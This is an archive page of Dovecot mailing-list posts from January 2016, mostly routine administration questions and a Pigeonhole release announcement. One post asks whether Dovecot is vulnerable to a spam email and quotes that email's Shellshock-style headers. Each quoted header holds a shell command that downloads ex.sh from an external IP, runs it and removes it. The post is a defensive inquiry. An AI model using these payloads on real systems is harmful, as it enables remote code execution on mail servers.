Dovecot (director, lmtp) IPv4/IPv6?

Hello, I'm build system with two director/proxy and dual stack network (or IPv6-only local services) http://wiki2.dovecot.org/Director say "This also means that a single director ring must use either IPv4 or IPv6 addresses, but not both at the same time." OK All servers have 2 interface (public and local network), and all dual stack IPv4/IPv6, imap/pop (mail) and lmtp (mx) proxy run in dedicated server.

Correct Way to Run expunge for All?
by Haravikk 29 Jan '16

29 Jan '16

So as part of my daily mailbox maintenance I have the following command: doveadm expunge -A DELETED i.e- I’m only expunging messages that have been specifically marked as deleted. I also only do this *after* running doveadm purge, as this means that there is at least a 24 hour window between a message being marked as deleted, and it being gone forever. However I get the following error message: Fatal: expunge: To avoid accidents, search query must contain MAILBOX in all search branches While I can see the logic in this, it isn’t an accidental use of this command, so who do I force it to proceed? Going forward I’d like to recommend that expunge -A DELETED should be allowed, as it doesn’t seem like an especially dangerous form of the command, particularly with mdboxes where the messages won’t be removed until the purge step. Either that or there should be a flag to force the command when you know it isn’t an accident; anyone adding this to all their queries deserves the damage they inflict =)

Maildir to mdbox conersion size issue
by Petr Bousek 29 Jan '16

29 Jan '16

Hello, I have issue with dovecot 2.2.13 I want to change all Maildirs to mdbox format and I do it per partes, so I change mail_location for user (in sql), than I use doveadm sync -u user path_to_maildir and everything works mostly fine. But now I found that when I migrate quite huge Maildir (about 24G of mails) to mdbox, after sync the final mdbox is twice as big as source Maildir (48GB). I tried to find duplicities, but didn't find any. Is there any reason why mdbox consume so much data? Or I do something wrong? Does somebody have same experience? Thanks Petr

is dovecot vulnerable to this kind of attack?
by Louis Kowolowski 28 Jan '16

28 Jan '16

I found an interesting email that got caught in my spam quarantine. I’m wondering if dovecot is vulnerable to this kind of code execution (I’m aware that other components could be vulnerable, but this question is specifically targeting dovecot). The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. Examples include: From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh(a)nes.txt.com;, wget(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, fetch(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, sh(a)nes.txt.com, ex.sh(a)nes.txt.com;, rm(a)nes.txt.com, -fr(a)nes.txt.com, ex.*'@nes.txt.com, &(a)nes.txt.com; Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; The full message, should it be of interest, can be found here: https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt Thank you! -- Louis Kowolowski louisk(a)cryptomonkeys.org Cryptomonkeys: http://www.cryptomonkeys.com/ Making life more interesting for people since 1977

ot: data consumption IMAP vs POP
by voytek＠sbt.net.au 27 Jan '16

27 Jan '16

I have a domain with about 50 mailboxes, server is located here in AUS but most of the users are on a LAN is SEAsia location. They were using POP (with Thunderbird), I suggested then can use IMAP instead, so they did. now they are asking; "Looks like Imap is adding a lot to our internet bandwidth" I guess they have some bandwidth limitation on their link I think I can understand that IMAP would increase bandwidth requirement, didn't expect it to cause 'problems' is there any optimization or changes I can make to reduce that ? the b/w limitation are at the client LAN link any other suggestions ? thanks, V

Released Pigeonhole v0.4.12.rc1 for Dovecot v2.2.21
by Stephan Bosch 27 Jan '16

27 Jan '16

Hello Dovecot users, The last few releases had an annoying bug that made the Sieve editheader and imap4flags ineffective when multiple scripts were executed sequentially (sieve_before/sieve_after). That is why I am making a new release. Unlike the previous release, this release also adds a new feature: support for the Sieve extracttext extension. Changelog v0.4.12: + Implemented the Sieve extracttext extension (RFC 5703; Section 7). It is now possible to extract body text from a message into a variable. * Increased ABI version due to changes in the Sieve interpreter's object definitions. - multiscript: Fixed bug in handling of (implicit) keep; final keep action was always executed as though there was a failure. This caused the keep action to revert back to the initial message, causing editheader actions to be ignored. - managesieve-login: Fixed proxy to allow SASL mechanisms other than PLAIN. Before, the proxy would fail if the server did not support the PLAIN mechanism. - ldap storage: Prevent segfault occurring when assigning certain (global) configuration options. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release candidate and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

Hi, I am Migrating an old cyrus mailserver to dovecot. in the old cyrus Mailserver all User Mailboxes are sub-mailboxes of their INBOX. I have to preserve that structure. During Migration with dsync I get these Errors: Error: Mailbox INBOX sync: mailbox_delete failed: INBOX can't be deleted Is there a way to work around these Errors ? Thanks Christoph

When removing/receiving emails percent of employment, respectively changes. I read in dovecot manual, that the notification send only when the quota border crossing - then I tested like this: Clears the box up to 60% and then send letters, which occupy about 5% more of allocated quota. And so the lead up to 95%. But reports of ending the quota not be sent. In what may be another problem? Thanks. ------------------ Serg
